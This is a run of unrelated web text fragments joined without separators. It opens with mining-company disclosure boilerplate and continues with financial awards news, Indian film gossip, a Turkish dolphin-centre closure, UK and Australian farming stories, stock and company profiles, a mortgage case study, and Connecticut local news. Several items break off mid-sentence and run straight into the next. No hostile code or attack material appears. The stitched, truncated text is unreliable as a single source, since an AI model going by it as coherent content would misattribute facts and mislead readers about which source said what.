Unless otherwise indicated, Capstone has prepared the technical information in this news release ("Technical Information") based on information contained in the technical reports, news releases and MD&A's (collectively the "Disclosure Documents") available under Capstone Mining Corp.'s company profile on SEDAR at www.sedar.com. Each Disclosure Document was prepared by, or under the supervision of, a qualified person (a "Qualified Person") as defined in National Instrument 43-101 Standards of Disclosure for Mineral Projects of the Canadian Securities Administrators ("NI 43-101"). Readers are encouraged to review the full text of the Disclosure Documents which qualifies the Technical Information. Readers are advised that mineral resources that are not mineral reserves do not have demonstrated economic viability. The Disclosure Documents are each intended to be read as a whole, and sections should not be read or relied upon out of context. The Technical Information is subject to the assumptions and qualifications contained in the Disclosure Documents.

The technical information in this news release ("Technical Information") was prepared by, or under the supervision of, a qualified person (a "Qualified Person") as defined in National Instrument 43-101 Standards of Disclosure for Mineral Projects of the Canadian Securities Administrators ("NI 43-101"). The disclosure of Technical Information and information related to mineral exploration activities contained in this news release have been reviewed and approved by Brad Mercer, P. Geol., Senior Vice President, Operation and Exploration.

ALTERNATIVE PERFORMANCE MEASURES

The items marked with a "1" are alternative performance measures and readers should refer to Alternative Performance Measures in the Company's Management's Discussion and Analysis for the quarter ended December 31, 2018 as filed on SEDAR and as available on the Company's website.

CAUTIONARY NOTE TO UNITED STATES INVESTORS

This news release contains disclosure that has been prepared in accordance with the requirements of Canadian securities laws, which differ from the requirements of US securities laws. Without limiting the foregoing, this news release may refer to technical reports that use the terms "indicated" and "inferred" resources. US investors are cautioned that, while such terms are recognized and required by Canadian securities laws, the SEC does not recognize them. Under US standards, mineralization may not be classified as a "reserve" unless the determination has been made that the mineralization could be economically and legally produced or extracted at the time the reserve determination is made. US investors are cautioned not to assume that all or any part of indicated resources will ever be converted into reserves. US investors should also understand that "inferred resources" have a great amount of uncertainty as to their existence and as to whether they can be mined legally or economically. It cannot be assumed that all or any part of "inferred resources" will ever be upgraded to a higher category. Therefore, US investors are also cautioned not to assume that all or any part of inferred resources exist, or that they can be mined legally or economically. Accordingly, information concerning descriptions of mineralization and resources contained in this news release may not be comparable to information made public by US companies subject to the reporting and disclosure requirements of the SEC.

1 This is an alternative performance measure; please see "Alternative Performance Measures" at the end of this release.



Paul Jones, VP, Business Development and Investor Relations, 604-674-0891, pjones@capstonemining.comOver 250 business elites from across the region gathered in Hong Kong to attend a glamorous gala dinner on Wednesday as FinanceAsia awarded outstanding institutions for their contributions to Asia's financial markets in the annual Achievement Awards.

As one of the most influential events in Asia-Pacific's investment community, FinanceAsia's Achievement Awards 2018 was once again well attended by investors, businessmen, bankers and advisors.

From Bangladesh to India, from Cambodia to Singapore, from Laos to Indonesia, our winners this year won recognition and took home their awards after enjoying a sumptuous five-course meal at the Grand Ballroom at Grand Hyatt Hotel Hong Kong.

...FinanceAsias 2018 Achievement Awards in Australia and New Zealand were hotly contested and we announced the winners in December.

Overall, we received more than 85 submissions for the 24 different awards categories.

The following houses are commended for their involvement in the key transactions of the year transactions which were large, cleverly structured and set a benchmark for future issuance. They showed tenacity by timing the market well and appealing to investor demand.

BEST LOCAL COMMERCIAL BANK

Westpac

It was a tough year for Australias commercial banks as a parliamentary inquiry into the...In Multiple Languages

Oru Adaar Love is set for a grand release and as mentioned earlier, the film will be releasing in multiple languages. The Tamil, Telugu and Kannada versions of the movie are also hitting the screens on February 14, 2019.

Odiyan's Release

Well, it is for the first time after Odiyan, that the dubbed versions of a Malayalam movie is making a simultaneous release on the same day. The Telugu and Tamil dubbed versions of Odiyan got released along with the Malayalam versions.

In 2,000 Screens

Oru Adaar Love is set to enter yet another elite list as well. The movie will be making a gigantic release and the reports suggest that, the Priya Varrier movie will be releasing in 2,000 screens across the globe.

Next Only To Odiyan

Well, with the film all set for a gigantic release, Oru Adaar Love will be next only to Odiyan, in the list of the biggest Malayalam movie releases of all time. Odiyan had released in over 3,000 screens across the globe.

The Huge Buzz

Oru Adaar Love has a huge buzz surrounding it and the booking for the different versions of the movie have already opened. A good opening for the film is definitely on the cards.Mahesh & Murali Had A Good Time!

It isn't the first time that these two stars have met up. However, the Kannada actor took his Twitter to share the above selfie and wrote, While shooting For #Bharaate in #RFC Was Happy to meet Our most Humble Super Star @urstrulyMahesh at his #Maharshi sets... Thanks for your Kind time and All the best for all your Future projects Sir... cheers!

Mahesh Praised Murali

Who wouldn't know about Srimurali's blockbuster Ugramm. The film not only helped him gain fame but through the film, he proved that he's an amazing actor. Telugu star Mahesh Babu too used the opportunity to praise Murali's acting in the action film Ugramm.

What About Sandalwood?

Reportedly, both the actors spoke for nearly an hour. During their conversation, Mahesh Babu even discussed the Kannada Film Industry. He said, "The trend in Sandalwood is changing and it is truly amazing".

3 Kannada Films In Andhra

Though Ramoji Film City is based in Andhra Pradesh, currently three Kannada films are being shot there. Sudeep's Pailwaan, Dhruva Sarja's Pogaru and Srimurali's Bharaate's shooting is taking place. Encouraging the Kannada Film Industry, Mahesh Babu said he's happy to see that more Sandalwood films being shot in the film city than Tollywood.A few weeks back, Sandalwood actor Darshan had announced that he wouldn't be celebrating his birthday as he is still mourning the loss of his appaji, Rebel Star Ambareesh. He requested his fans to cooperate with him. However, his fans decided to gift something so special that left the Yajamana actor emotional. He took to social media to thank his beloved fans for such a lovely present and also said that he's more than happy to take up the responsibility assigned to him!

He wrote, "Dear Fans, Greetings... Lately, a few of my fans have been visiting my place on the account of my birthday and donating a few food items. A video is also making rounds on Facebook in which you have been asking me to distribute the supplies to Siddaganga Mutta and orphanages. I am extremely happy about your gesture. I am considering this as my birthday present. With a lot of gratitude, I am taking up the responsibility of distributing them to Siddaganaga Mutt, a few orphanages and old age homes. Kindly, try using clothe bags. Yours, Dasa Darshan."

MOST READ :Srimurali & Mahesh Babu's Surprise Meet! Telugu Star Has To Say THIS About Sandalwood

Darshan had a warm relationship with Ambareesh. The late actor treated him as his own son. Upon hearing the news about the Rebel Star's demise, the actor who was shooting abroad, flew down immediately with his entire team. Though Dr Ambareesh is not with us any more, he'll continue to remain in fans' hearts forever. He was a man of great honor and had an extremely helpful nature. Fans have also respected Darshan's decision with regards to not celebrating his birthday due to Ambi's loss.U.S. Customs, a division of the Department of Homeland Security, needs additional officers to serve at ports of entry across the U.S., including at the Southwest border, at Washington Dulles International Airport and, starting March 1 through March 31, in Baltimore. The agency called the hiring of CBP officers in Baltimore exceptionally rare.Sanjay Dutt Was Also Offered KGF: Chapter 1

Yash told the leading daily that the makers had approached Sanjay Dutt for KGF: Chapter 1 as well.

Here's Why Dutt Had Turned Down The Film Back Then

"We had offered him Chapter one, which he did not accept perhaps for reasons of date availability," the Kannada superstar opened up.

Dutt Has Been Now Offered A Role In The Sequel

Confirming that Dutt has now been approached for KGF 2, Yash revealed, "Yes, we have offered him Chapter 2 of KGF."

Sanjay Dutt To Play This Role?

If reports are to be believed, the actor has been finalized to play the antagonist in the film.

The KGF Franchise Seems More Attractive To Dutt Now

The daily further quoted a source as saying, "The only reason he did not accept KGF Chapter 1 was because it was a regional film. And the main lead Yash was unknown outside Karnataka. Now after Chapter one is a blockbuster and Yash is a household name across the country, the KGF franchise seems much more attractive to Dutt."The makers of Sushant Singh Rajput- Bhumi Pednekar starrer Sonchiriya have left no stone unturned in doing justice to the characters and keep in sync with the dacoit era.

The actors who are donning a rustic look also have gone out of their way to get into the skin of their characters. Each of them had to carry 5 kgs of backpack and walk on the sets to develop the body language and walking style of dacoits.

Shot in the valleys of Madhya Pradesh, Sonchiriya presents an ensemble cast starring Sushant Singh Rajput, Bhumi Pednekar, Manoj Bajpayee, Ranvir Shorey, and Ashutosh Rana in lead roles, also with an intriguing storyline.

Speaking about her working experience with Sushant, Bhumi Pednekar had opened up in a DNA interview and said, "Sushant is a passionate actor and so am I. We bonded on those grounds. He is a fit guy and did a lot of prep to get into the layers of the character. Sushant, Manoj sir (Bajpayee), Ranvir Shorey, Ashutosh sir (Rana) and I had a blast shooting for it. We used to improvise and help each other, there was never any kind of insecurity or ego battle. The entire cast needed to be synchronised for the film to be what it is."

Meanwhile, Sushant had said that he considers Sonchiriya to be his best performance till date.

Recently the makers of Sonchiriya organised the special event wherein they have gone ahead to launch the extension of the trailer titled as 'The Rebels of Sonchiriya'.

Sonchiriya is all set to release in next month, cast and crew is on a promotional spree and seen promoting the film on social media as well.

The film is set in the 1970s showcasing a small town ruled and dominated by dacoits. Multiple gangs fight over the struggle to attain power. The cast dons fierce avatars in sync with the theme of the film.

Sonchiriya promises to be a power packed action film giving a glimpse of the glorious years of dacoits in central India. Shot in the valleys of Madhya Pradesh, Sonchiriya presents an ensemble cast with an intriguing storyline.

Directed by Abhishek Chaubey who has earlier presented 'Udta Punjab' and 'Ishiqiya', 'Sonchiriya' presents a rooted tale set in Chambal. Produced by Ronnie Screwvala's RSVP, the movie is slated to release on 1st March 2019.

Ranveer Singh's Terrible Performance In Ladies Vs Ricky Bahl Made Him FearlessBuzz Is The Actor Has Returned Back To The Country

According to a report in Peepmoon.com, the actor has quietly returned back to the country post his treatment in London.

Irrfan Is Undergoing Treatment At A Hospital In Mumbai

The report further states that the actor is being treated at the Kokilaben Dhirubhai Ambani Hospital in Andheri.

In between, when he feels better, Irrfan is believed to make quick trips to Tonk town outside Jaipur where he is originally from.

Irrfan To Return Back On The Big Screen With Hindi Medium 2

A Pinkvilla report quoted a source as saying, "Hindi Medium 2 is going on floors on February 22. Costume Designers have already started looking for Irrfan's outfits. The leading lady is yet to be decided."

Another Report States That Radhika Madan Has Been Finalized To Play Irrfan's Daughter

A Peepmoon report stated that the makers of Hindi medium 2 have zeroed in Radhika Madan to play Irrfan Khan's daughter in the sequel.

Kareena Also Approached For Hindi Medium 2?

Rumours are also rife that the makers have approached Kareena Kapoor Khan to play Irrfan's wife in this flick. However, the actress is yet to give her nod.Campaigners have been celebrating this week following news that a dolphin therapy centre in the Turkish holiday resort of Marmaris seems set to close.

The controversial operation kept dolphins in enclosures so they could offer therapeutic session to visitors who paid to swim with them.However, following increasing pressure from environmentalists who wanted the animals set free, its been reported that owners of the land where the centre is currently based have confirmed its contract will not be renewed.

Prominent campaigner Tracey Ozdemir used her Facebook page to welcome the decision, although she also warned rehabilitating the dolphins for a return to the wild could take some time.

This is a very long process that could take two to three years, a lot of hard work, time and a great deal of money, but the end result will be so worth it, she wrote. I have not stopped crying tears of joy, I keep pinching myself to check that I am not dreaming.

A small group of us will be flying out to call a meeting to discuss the future of the dolphins.

Our fight does not end here; this is the second time campaigners have made this happen in Turkey and we will continue until we have shut down every dolphin park in Turkey and we persuade the Turkish Government to ban dolphin captivity.

Tom and Mishas plight

The news was also welcomed yesterday by Nichola Chapman, who was a member of the Dolphin Angels group which linked up with the Born Free Foundation to lead an international campaign for the release of two dolphins kept in a swimming pool in the holiday resort of Hisaronu, near Fethiye, in 2012.

Tom & Mishas plight made the national press in the UK and was even featured in National Geographic magazine.

Obviously, its great news and  if you also count the one in Kas  this is the third centre to be closed after pressure from campaigners in Turkey, she said.

All of us involved in protesting against facilities like these will be delighted with the news. It sends a clear message that this sort of thing isnt tolerated by modern society any more. Dolphins and other creatures like them belong in the sea not in enclosures.

Nichola added lessons learned from earlier releases recorded in the evaluation report produced by the Born Free Foundation could be applied to help speed up the rehabilitation process for the dolphins in Marmaris.

However, undoubtedly, there are likely to be considerable costs involved. All those who have supported the campaign are looking forward to hearing more news about how the rehabilitation will be supported and managed.2020 was a year marked by hardships and challenges, but the Fauquier community has proven resilient. The Fauquier Times is honored to serve as your community companion. To say thank you for your continued support, wed like to offer all our subscribers -- new or returning --

4 WEEKS FREE DIGITAL AND PRINT ACCESS.

We understand the importance of working to keep our community strong and connected. As we move forward together into 2021, it will take commitment, communication, creativity, and a strong connection with those who are most affected by the stories we cover.

We are dedicated to providing the reliable, local journalism you have come to expect. We are committed to serving you with renewed energy and growing resources. Let the Fauquier Times be your community companion throughout 2021, and for many years to come.Farm landlords must take a 'steady-as-you-go' approach when rent review discussions commence this spring, according to tenant farmers.

The Tenant Farmers Association (TFA) is urging 'sensible' rent review discussions during continued 'Brexit uncertainty'.

Although the postponement of many reviews in 2018 was welcomed by the TFA, a year later its impact on the agricultural industry is still 'unknown'.

Over the autumn, the group said it continued to see the majority of landlords choosing not to proceed with rent reviews.

However, there were still a number that were pushing for 'unsustainable or unjustified' increases in rent, and 'threatening arbitration' if an agreement could not be reached.

TFA adviser, Caroline Foot said: Each case needs to be looked at on its individual merits, but where landlords take an aggressive approach, we are encouraging tenants to discuss the continuing uncertainty and to seek a shared vision for addressing change post-Brexit.

Where landlords push forward with rent reviews regardless, I would suggest pressing for the landlords evidence which supports the increase that they are proposing, in many cases the increases proposed seem to be unsupported by genuine evidence.

The rent review date only sets a point at which landlord and tenant have to either agree or in order to keep the review live an application is made for the appointment of an arbitrator.

You dont have to agree the rent by the review date, and application for the appointment of an arbitrator does not mean that the dispute will proceed to arbitration, she said.

In well over 90% of the cases where an arbitrator is appointed, rents are still agreed between the parties. The application for the appointment merely extends the time available for negotiations.

Ms Foot added: Though reaching a pre-Brexit agreement on the rent will be appropriate for some tenants, we do not want to see tenants forced or scared into agreeing to inappropriate increases.

Indeed, we are still not in any clearer position to agree on appropriate rents for the next three years, while Brexit terms are unclear. The right time to be looking at farm rents remains likely to be autumn 2019 or spring 2020, she said.Scottish cereal growers are working with the wider sector on adding a new spring barley category to the national yield competition the Yield Enhancement Network.

At the inaugural meeting of the Scottish Yield Enhancement Network (YEN) Growers Group, the members discussed how a new spring barley category, which focused on grain quality as well as yield, would give them a better understanding of the crop, and get more Scottish growers taking on YEN.

Scottish Group Chair, Aberdeenshire farmer, Peter Chapman explains: Weve really gotten a lot out of YEN over the past few years, you get such detailed information on the crop you are growing that you are then able to make changes to your management which results in genuine improvements to yield.

However, I know that up here a category dedicated to spring barley would allow us to make even bigger improvements both in terms of yield and grain quality.

As well as technical support and free soil and grain testing, farmers taking part in the YEN can also enter the national competition which awards prizes not just for the highest yield but to those farmers getting closest to their own farms yield potential.

However, the competition is currently dominated by winter wheat and therefore the potential yield model used is not as suitable for barley crops, particularly spring barley.

For this reason, ADAS, the UK's largest independent agricultural consultancy, is now looking for funding to create an entirely new YEN category for spring barley.

It is hoped the category will produce more relevant data and also have a focus on grain quality, something which is vital for farmers who grow for malting.

Sarah Kendall, from ADAS, said: Spring barley is a very different crop to winter wheat, for example its growth period is shorter, the harvest index is different and so is the amount of light and water available to the crop.

That means to really understand the factors that go into a high yielding barley crop we need a different model, and we need to separate spring barley data so that farmers can benchmark their crop with other spring barley crops across the UK and thereby identify where they can improve.The death toll of cattle in Australia has exceeded half a million head following a massive monsoonal flood in Queensland.

More than 500,000 cattle have been killed and another 150,000 in danger of starving to death as a result of the catastrophic natural disaster.

Farmers have watched their herds wiped out in a matter of days after the unprecedented floods, which follows nearly eight years of drought.

Some Queensland cattle stations remain underwater, while other say they are taking the clean up a step at a time. The full extent of the losses wont be known for weeks.

Australian farmers typically sell cows for AUS$500, and it is estimated that the half a million dead cattle could mean losses of up to AUS$300 million.

Michael Guerin, CEO of Queenland organisation AgForce, said: The speed and intensity of the unfolding tragedy makes it hard to believe that its just a week since farmers elation at receiving the first decent rains in five years turned to horror at the devastating and unprecedented flood that quickly followed.

Farmers are battling to save their remaining cattle after record rainfall this year.

Hundreds of thousands may have died from Australia's Queensland floods https://t.co/JBOlZ9jiKM pic.twitter.com/iZYWNiZ25i  TicToc by Bloomberg (@tictoc) February 12, 2019

The group, which represents Queensland farmers, has sent emergency fodder to more than 150,000 head of cattle that have no other access to feed.

He added: I implore governments of all levels, as well as other agencies involved in this mammoth undertaking, to put aside red tape, bureaucratic wrangling and patch protection, and understand the desperate situation of so many producers.

There is no doubt that this is a disaster of unprecedented proportion.Farmers have been told to take immediate action on asbestos within their premises or risk being fined, following a recent crackdown on poor health and safety standards.

Helping farmers maintain and achieve asbestos compliance is part of the Health and Safety Executive's (HSE) What a good farm looks like guidance on the common risks to health and safety, as it poses a major hazard.

Asbestos exposure can lead to many serious and often fatal diseases, including mesothelioma  the most serious and incurable form of asbestos cancer  as well as lung cancer.

Farmers and employers responsible for managing farms in the UK have a legal obligation to protect workers and visitors under the Health & Safety at Work Act 1974 and Control of Asbestos Regulations 2012.

There is also the potential impact on family members, including children, living on farms.

Work-related deaths

The recent drive by the HSE aims to improve health and safety in agriculture overall as part of its Agriculture Sector Intervention Plan in response to the high proportion of work-related deaths, accidents and illnesses reported in the sector.

To put this into perspective, agricultural workers account for 1% of the UK workforce but around 20% of worker deaths.

Since the plans introduction, a series of unannounced farm inspections have been carried out and a number of hefty fines handed out to farms across the UK for breach of health and safety regulations.

Matthew Potter, Asbestos Manager at health and safety company Bureau Veritas, said: Farmers have an obligation to ensure that any non-domestic premises are safe for workers and visitors, which includes the effective management and reporting of any asbestos on site.

Even though the main house does not fall under regulations, there is also the consideration of families, including children that might live on the farm.

Despite the significant progress made over the last two decades in asbestos management, the reality is that there is still a massive job to do to effectively manage asbestos in our older building stock, particularly on farms.

Older buildings

Farmers across the UK are particularly at risk due to the high proportion of older farm buildings that were constructed when asbestos was a common component of many popular building products and insulation.

Mr Potter added: As well as the serious risk asbestos exposure poses to health, non-compliance with asbestos regulations can lead to hefty fines. Farmers therefore need to take decisive action to ensure that asbestos is being properly managed to negate these risks.

Whilst it can seem like a mammoth task in addition to the already heavy workload farmers face, this is one job that should not be put off and once started, can be easily managed.COLUMBUS  The Ohio Farmers Union added hemp cultivation and specific recommendations for Lake Erie water quality woes in its 2019 statement of public policy proposals.

The proposals were among the legislative priorities adopted at the Ohio Farmers Union recent state convention in Lima.

Water quality

OFU delegates tweaked the organizations nutrient management and Lake Erie water quality special order, or policy. The farm organization continues to support former Gov. John Kasichs executive order that identified eight watersheds feeding the harmful algal blooms in Lake Eries western basin.

OFUs proposal boils down to accepting impaired or distressed status for those watersheds and using funds available through SB 299 (2018) for soil testing in those areas and eventual suspension of manure spreading in hot spots.

We believe the state should use federal EPAs adaptive management concept, which would allow for constant review of the data and reassessment of any action plans, said OFU President Joe Logan.

The association believes any prohibitions or additional regulations could be lifted when the local data reflects a return to acceptable phosphorous loads.

CAUV efforts continue

While we are grateful for the recent changes to the CAUV formula, there still exists issues with some outlandish tax assessments on woodlands around the state, said Logan.

Woodlands provide immense environmental benefits and well be talking to state leaders this year about tweaks to their valuation for tax purposes.

Hemp opportunities

Logan is also optimistic about the prospects for industrial hemp production in Ohio.

Since the 2018 farm bill lifted the federal prohibition on the cultivation of industrial hemp, Logan said hes been contacted by a growing number of farmers and even a Texas state ag official looking for information on what Ohios approach will be to the crop.

The ball is in the state of Ohios court  and I know that officials at the Ohio Department of Agriculture are aware that theres a growing number of farmers who may wish to diversify by adding hemp to their crop rotation, Logan said.

He said the Ohio Farmers Union supports a state hemp program, but only in the event that its designed to work and be available to all farmers in all parts of the state.

He does sound a note of caution, however, regarding the market outlook.

There are a few get rich quick ideas out there. Farmers need to do their homework and be aware of how the markets work now and have a plan.

Also included in OFUs policy proposals this year:

A statement that USDA should respect the will of Congress on SNAP work requirements;

Renewed support for the renewable fuel standard and condemnation of the overuse of so-called hardship waivers by the fossil fuel industry;

Increased accountability for state and federal agricultural commodity check-off programs;

A slate of healthcare reform proposals that would benefit rural Americans;

Support for a solar energy project in Highland County;

A moratorium on anti-competitive corporate mergers in ag industry;

Tax credits for sellers of farmland to beginning farmers in Ohio; and,

Support for the Buy American Agricultural Act.by Sarbarz Sam Farahbakhsh | Nuggets Correspondent | Tue, Feb 12th 10:52pm EST

Jamal Murray had his worst game since returning from an ankle injury on Monday night against the Heat. Murray finished with 10 points, five assists, three steals, and one rebound in 34 minutes. Murray shot 3-for-12 from the field but did end up making three out of his six triple attempts.Dril-Quip, Inc., together with its subsidiaries, designs, manufactures, sells, and services engineered drilling and production equipment for use in deepwater, harsh environment, and severe service applications worldwide. The company's principal products include subsea and surface wellheads, subsea and surface production trees, mudline hanger systems, specialty connectors and associated pipes, drilling and production riser systems, liner hangers, wellhead connectors, diverters, and safety valves, as well as downhole tools. It also provides technical advisory services, and rework and reconditioning services, as well as rental and purchase of running tools for use in the installation and retrieval of its products; and downhole tools comprise of liner hangers, production packers, safety valves, and specialty downhole tools that are used to hang-off and seal casing into a previously installed casing string in the well bore. The company's products are used to explore for oil and gas from offshore drilling rigs, such as floating rigs and jack-up rigs; and for drilling and production of oil and gas wells on offshore platforms, tension leg platforms, and Spars, as well as moored vessels, such as floating production, storage, and offloading monohull moored vessels. It sells its products directly through its sales personnel, independent sales agents, and representatives to integrated, independent, and foreign national oil and gas companies, as well as drilling contractors, and engineering and construction companies. The company was founded in 1981 and is headquartered in Houston, Texas.

Read MoreWall Street analysts have given iShares MSCI South Korea ETF a "N/A" rating, but there may be better buying opportunities in the stock market. Some of MarketBeat's past winning trading ideas have resulted in 5-15% weekly gains. MarketBeat just released five new stock ideas, but iShares MSCI South Korea ETF wasn't one of them. MarketBeat thinks these five companies may be even better buys.

View MarketBeat's top stock picks here.Banco Santander-Chile, together with its subsidiaries, provides commercial and retail banking products and services in Chile. It operates through Retail Banking, Middle-Market, and Corporate Investment Banking segments. The company offers debit and credit cards, checking accounts, and savings products; consumer, automobile, commercial, mortgage, and government-guaranteed loans; and Chilean peso and foreign currency denominated loans to finance various commercial transactions, trade, foreign currency forward contracts, and credit lines. It also provides mutual funds, insurance and stock brokerage, foreign exchange, leasing, factoring, financial consulting, investment management, foreign trade and mortgage financing, treasury, and transactional services, as well as specialized services to finance projects for the real estate industry. In addition, the company offers short-term financing and fund raising, and brokerage services, as well as derivatives, securitization, and other tailor-made products. It serves individuals, small to middle-sized entities, companies, and large corporations, as well as universities, government entities, and local and regional governments. As of December 31, 2020, the company operated 358 branches, which include 220 under the Santander brand name, 19 under the Select brand name, 32 specialized branches for the middle market, and 28 as auxiliary and payment centers, as well as 1,199 ATMs. Banco Santander-Chile was incorporated in 1977 and is headquartered in Santiago, Chile.

Read MoreMortgage banker: Chris Bartlett

Purchase price: $365,000

Loan amount: $352,225

Loan terms: 30-year fixed, 3.5 percent down, Federal Housing Administration mortgage

Backstory: A couple relocated from Pennsylvania to Connecticut as the result of the husbands company moving.

Since their children were of adult age, they decided to look for a two-family home where they could offset the mortgage with a renter and eventually, in 15 years, move back to Pennsylvania and use the property as a potential investment.

Because they wanted to move back to Pennsylvania when they retire, they did not want to sell their home in Pennsylvania but instead, rent it out. They had gone to a few local banks to get pre-approved and were struggling because their credit scores were in the mid-600s and they only had 3.5 percent for a down payment.

A Federal Housing Administration mortgage would have been the best product for them, but they were told because they had an FHA loan already, they could not be approved for another without selling or paying off the mortgage in Pennsylvania.

In addition, they would not be allowed to use rental income from their house in Pennsylvania to offset their current mortgage without having rental income on their personal 1040 in the past. They would have to qualify with the ability to pay both mortgages. Their agent contacted Bartlett for assistance to see if he could help.

During the initial phone conversation, Bartlett learned they had already found a renter for the current home. They were in the process of signing the lease and collecting a security deposit.

Upon hearing this, Bartlett determined he could make the case for them to have two FHA mortgages in their names at the same time using the FHA 100-mile guideline.

The guideline allows for a person to have two FHA mortgages in their name if they are relocating for the purpose of work 100 miles away from their current home. Even more importantly, under the guideline FHA will allow the use of a percentage of the rental income, providing there is a signed lease and proof of a security deposit, to offset the mortgage payment on a house that is currently owned.

As part of the approval process, the husbands employer was able to provide a detailed offer letter showing the dates and the annual income the husband would be paid when he stated working in Connecticut.

The couple also submitted the lease and an explanation as to why they were purchasing a two-family home when they had previously been living in a single-family home.

Their application was approved, and they were able to close on two-family home in Connecticut using an FHA mortgage with 3.5 percent down payment.

Chris Bartlett,

EMM Financial,

203-583-4933,

cbartlett@emmloans.comSTAMFORD  A city police officer on Monday afternoon made an unusual stop when he pulled a man over while he was driving while smoking a marijuana joint.

The stop resulted in the man, Luis Burgos-Gonzalez, 58, of Soundview Court, being charged with illegal operation of a motor vehicle while impaired by marijuana. The charge is seldom used because of the difficulty police officers have proving impairment by marijuana in court.

The police departments Traffic Unit Sgt. Andrew Gallagher said he would be surprised if anyone had been charged with driving while stoned in Stamford in all of 2018.

This impairment charge came when Officer Stephane Smarth was pulling out of a parking lot on West Main Street Monday afternoon when he saw a man driving a blue BMW SUV drive by smoking what appeared to be a cigarette. He pulled in behind the SUV and seconds later traffic stopped for a traffic light. When the light turned green, other cars pulled forward, but the SUV stayed put.

Smarth, who in April will be celebrating his second year with the department, pulled around to the right of the SUV to see what was going on and saw the driver, Burgos-Gonzalez, looking around inside his car, engaged in activities not related to driving, McGowan said.

The officer activated his lights and siren to get the drivers attention and then stopped the SUV a little further up the street. The officer smelled a strong odor of burnt marijuana coming from the vehicle and Burgos admitted to Smarth that he had just smoked marijuana before being pulled over and threw the roach out the window as he was being pulled over, McGowan said.

McGowan said about 19 grams of marijuana was found in the BMW and Burgos-Gonzalez submitted to a urine test.

Gallagher said it takes a lot to support a marijuana conviction. Unlike alcohol, marijuana can stay in your body for an extended period of time such as two or three weeks. Alcohol, however, is expelled from the body in a matter of hours.

As a result, a lawyer can argue that the marijuana found in a urinalyses test had been in the body for weeks before.

And, Gallagher added, just being under the influence of marijuana or alcohol is not enough to make an operating-under-the-influence charge stick, because police also have to prove the driver was impaired.

jnickerson@stamfordadvocate.comFAIRFIELD  The scouts from Troops 88 and 188 demonstrated Saturday evening that they were truly prepared to host their first spaghetti dinner at Grace United Methodist Church.

Pasta, meatballs and more were on the table, and a dozen or so Scouts were on their feet  taking orders, serving food and generally doing their part to help raise money for theirs troops.GREENWICH  U.S. Rep. Jim Himes will be making two public appearances in Greenwich next week.

A town resident, Himes will appear as the weekly speaker on Wednesday, Feb. 20, at the meeting of the Retired Mens Association. It will be his third speech before the RMA during his time in Congress. The event will be at 11 a.m. at the First Presbyterian Church at 1 W. Putnam Ave.

According to the RMA, Himes is slated to discuss the challenges facing the new Congress. Himes is member of both the Financial Services Committee and the Permanent Select Committee on Intelligence. The RMA said he will give an informed perspective on the ongoing investigative work into Russian interference in the 2016 presidential election.

Other topics  including health care, LGBTQ+ rights, presidential authority and immigration  are also likely to be discussed.

The event is free and open to all, not just for RMA members. A question-and-answer session typically follows the speeches at RMA events, which usually last approximately an hour. RMA speeches are usually recorded and posted online at www.greenwichrma.org.

Himes last appeared before the RMA in February 2017, right after the inauguration of President Donald Trump, of whom Himes has been a loud and frequent critic. Since then, the Democrats have taken back control of the House of Representatives for the first time since 2010, and Himes will be speaking from a majority perspective.

Also next week, Himes will speak at an Indivisible Greenwich event at 7 p.m. Thursday, Feb. 21, at Eastern Middle School, 51 Hendrie Ave., Riverside. The event is co-hosted by Indivisible Stamford.

The public is invited to attend, Indivisible Greenwichs co-founders Joanna Swomley and Nerlyn Pierson said. Doors will open at 6:30 p.m. so the public can meet and talk with members of Indivisible.

Our group is particularly looking forward to hearing from Representative Himes and learning about the changes in the house since the 2018 mid-terms, Swomley said in a statement. We are anxious to hear about the new legislative agenda, including HR-1, the pro-democracy bill, as well as efforts to act as a check on this presidents power.

HR-1 was the first proposed bill of the new Congress and calls for increased early voting, making it easier for people to vote in the country and other reforms like Internet registration and automatic voter registration.

Indivisible Greenwich, like other Indivisible chapters in the country, was formed after Trumps election in 2016. The group has been a vocal critic of Trump on issues such as presidential power and health care.

kborsuk@greenwichtime.comBRIDGEPORT  The man whose frozen body was pulled from Bunnells Pond in Beardsley Park in late January has been identified, but his cause and manner of death are still pending further investigation.

Police Capt. Brian Fitzgerald said Tuesday the victim was 50-year-old James Freeman. Funeral service information indicated Freeman was a Bridgeport resident at the time of his death.

Services for Freeman are planned for Saturday at Mortons Mortuary, 25 Margaret E. Morton Lane in Bridgeport. Visitation will be from 10 a.m. to 11 a.m., followed by a service at 11 a.m.

A brief obituary for Freeman said he was born on April 24, 1968.

Keshia Bush, Freemans daughter, said in several Facebook posts that she is heartbroken by the loss of her father. She shared a news post of the day her father was pulled from the pond, adding that she didnt know it was him when the news broke.

He was there days & we didnt know, my daddy was alone for days,  Bush wrote in another post on Feb. 7. Nobody knew who he was. I didnt know that was him.

A few days later, Bush expressed disbelief over making funeral arrangements for Freeman.

A fundraiser to cover funeral costs has been set up on the Mortons Mortuary website for Freeman.

Have peace of mind knowing that your funeral donations will be helpful to the loved ones of the deceased, the fundraiser said.

Donations can be made here. As of Tuesday, $300 had been donated to cover the $4,000 goal.

The cause and manner of Freemans death is still under investigation as of Tuesday, according to the Office of the Chief Medical Examiner in Farmington.

We still dont have a toxicology report back from the medical examiner, said Police Capt. Brian Fitzgerald, who oversees the Detective Bureau, which is handling the investigation into Freemans death.

A decision on cause and manner of death will be made after toxicology reports come back, according to the OCME. Toxicology reports take about six to eight weeks.

On Thursday, Jan. 31 Bridgeport first responders and police units rushed to Bunnells Pond in Beardsley Park shortly after 11 a.m. when a passerby called in a person in the water.

Deputy Chief Ronald Rolfe said firefighters found an unresponsive person in the water. By 11:20 a.m., firefighters had pulled Freemans body from the water. He was pronounced dead at the scene.

That day Police Chief Armando Perez said Freemans body was pulled from the pond frozen and unclothed. He said investigators found a little blood on Freemans clothes and near the shore where he was found. Despite this, Perez said, there were no signs of foul play.

Perez said back in January that though there were no indications of foul play, cause of death would be up to the medical examiner once the toxicology reports are returned.

Temperatures hit single digits the night before Freemans body was found, and stayed below freezing that Thursday morning. It was unclear how long Freeman was in the pond before it was called in.

The pond feeds into the Pequonnock River and runs next to the Beardsley Zoo. Boats are not allowed on the pond and signs indicate no swimming is allowed in the water.STAMFORD  A contingent of Stamford representatives from across the political spectrum are voicing their displeasure with a proposal to add tolls to the states highways.

They introduced a resolution Monday night opposing a toll system; it will be discussed Feb. 21 at the citys transportation committee.

Rep. Steven Kolenberg, a Republican, is one of the co-sponsors on the bill. He said he has joined members of the grassroots group No Tolls CT in the past to protest the idea of adding gantries to Connecticut highways to collect tolls on drivers.

